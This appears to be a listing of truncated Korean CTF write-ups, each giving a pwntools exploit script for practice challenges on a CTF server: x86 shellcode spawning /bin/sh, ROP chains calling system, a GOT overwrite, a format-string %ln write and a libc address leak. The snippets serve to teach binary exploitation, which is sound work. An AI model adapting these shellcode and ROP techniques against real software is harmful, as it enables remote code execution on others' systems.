from pwn import * p = remote('ctf.j0n9hyun.xyz', 3017) #p = process('./lookatme') pause() context.log_level = "debug" shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' mprotect = 0x806e0f0 ppp_r = 0x0809d33b gets = 0x804f120 payload = 'a' * 0x18 + 'b' * 4 payload += p32(mprotect) payload += p32(ppp_r) payload += p32(0x80eb000) payl..
이 함수를 실행시키면 익스가 된다. 그렇기 위서 exit@got 주소를 저 함수로 바꿔야 한다. 따라서 첫번째 strcpy로 2번째 strcpy 인자의 주소를 exit@got주소로 바꾸고 2번째 strcpy로 저 함수의 주소를 입력해주면 된다. from pwn import * #p = process('./beginner_heap.bin') p = remote('ctf.j0n9hyun.xyz', 3016) e = ELF('./beginner_heap.bin') pause() context.log_level="debug" flag_f = 0x400826 payload = 'a' * 8 * 2 #next_heap_prev_size payload += 'a' * 8 * 3 payload += p64(e.got[..
from pwn import * from ctypes import * p = remote('ctf.j0n9hyun.xyz', 3014) clib = cdll.LoadLibrary('libc.so.6') clib.srand(clib.time('\x00')) p.sendline(str(clib.rand())) p.interactive() c언어의 random은 /dev/random을 이용한 것과 다르게 같은 시간에 rand()를 이용해서 뽑으면 같은 수가 뽑힌다. 고로 remote()로 연결 뒤 rand()로 뽑으면 익스가 가능하다.
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3029) #p = process('./Unexploitable_2') e = ELF('./Unexploitable_2') context.log_level = "debug" p_r = 0x0000000000400773 main = 0x00000000040068C payload = 'a' * 0x18 payload += p64(p_r) payload += p64(e.got['system']) payload += p64(e.plt['system']) payload += p64(main) p.sendline(payload) p.recvuntil('1: ') libc = u64(p.recv(6).ljust(8,'\x00'))..
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3023) #p = process('./Unexploitable_1') e = ELF('./Unexploitable_1') context.log_level="debug" sh = next(e.search('sh\x00')) p_r = 0x00000000004007d3 p.recv() pause() payload = 'a' * 0x18 payload += p64(p_r) payload += p64(sh) payload += p64(e.plt['system']) log.info('sh : ' + hex(sh)) p.sendline(payload) p.interactive() dynstr에 있는 fflush의 끝에 있는 s..
from pwn import * #p = process('./sysrop') p = remote('ctf.j0n9hyun.xyz', 3020) e = ELF('./sysrop') context.log_level = "debug" p_ax_dx_di_si_r = 0x4005Ea p_dx_di_si_r = 0x4005EB main = 0x4005F2 p_rdi_r = 0x00000000004006c3 data = 0x0000000000601030 pause() payload = 'a'* 24 payload += p64(p_dx_di_si_r) payload += p64(len('/bin/sh\x00')) payload += p64(0) payload += p64(data) payload += p64(e.pl..
from pwn import * #p = process('./you_are_silver') p = remote('ctf.j0n9hyun.xyz', 3032) e = ELF('./you_are_silver') context.log_level = "debug" p.recv() payload = '%4196055c' + '%8$ln' + 'a' * 2 + p64(e.got['printf']) + 'a' * 40 p.sendline(payload) p.interactive() fsb를 이용하여 printf()함수를 play_game()으로 바꾸면 익스가 가능하다.
from pwn import * #p = process('./rop') p = remote('ctf.j0n9hyun.xyz', 3018) e = ELF('./rop') #lib = e.libc lib = ELF("libc.so.6") context.log_level = "debug" ppp_r = 0x08048509 main = 0x08048470 payload = 'a' * 0x88 + 'b' * 4 payload += p32(e.plt['write']) + p32(ppp_r) + p32(1) + p32(e.got['write']) + p32(4) payload += p32(main) p.sendline(payload) libc = u32(p.recv(4)) - lib.sym['write'] log.i..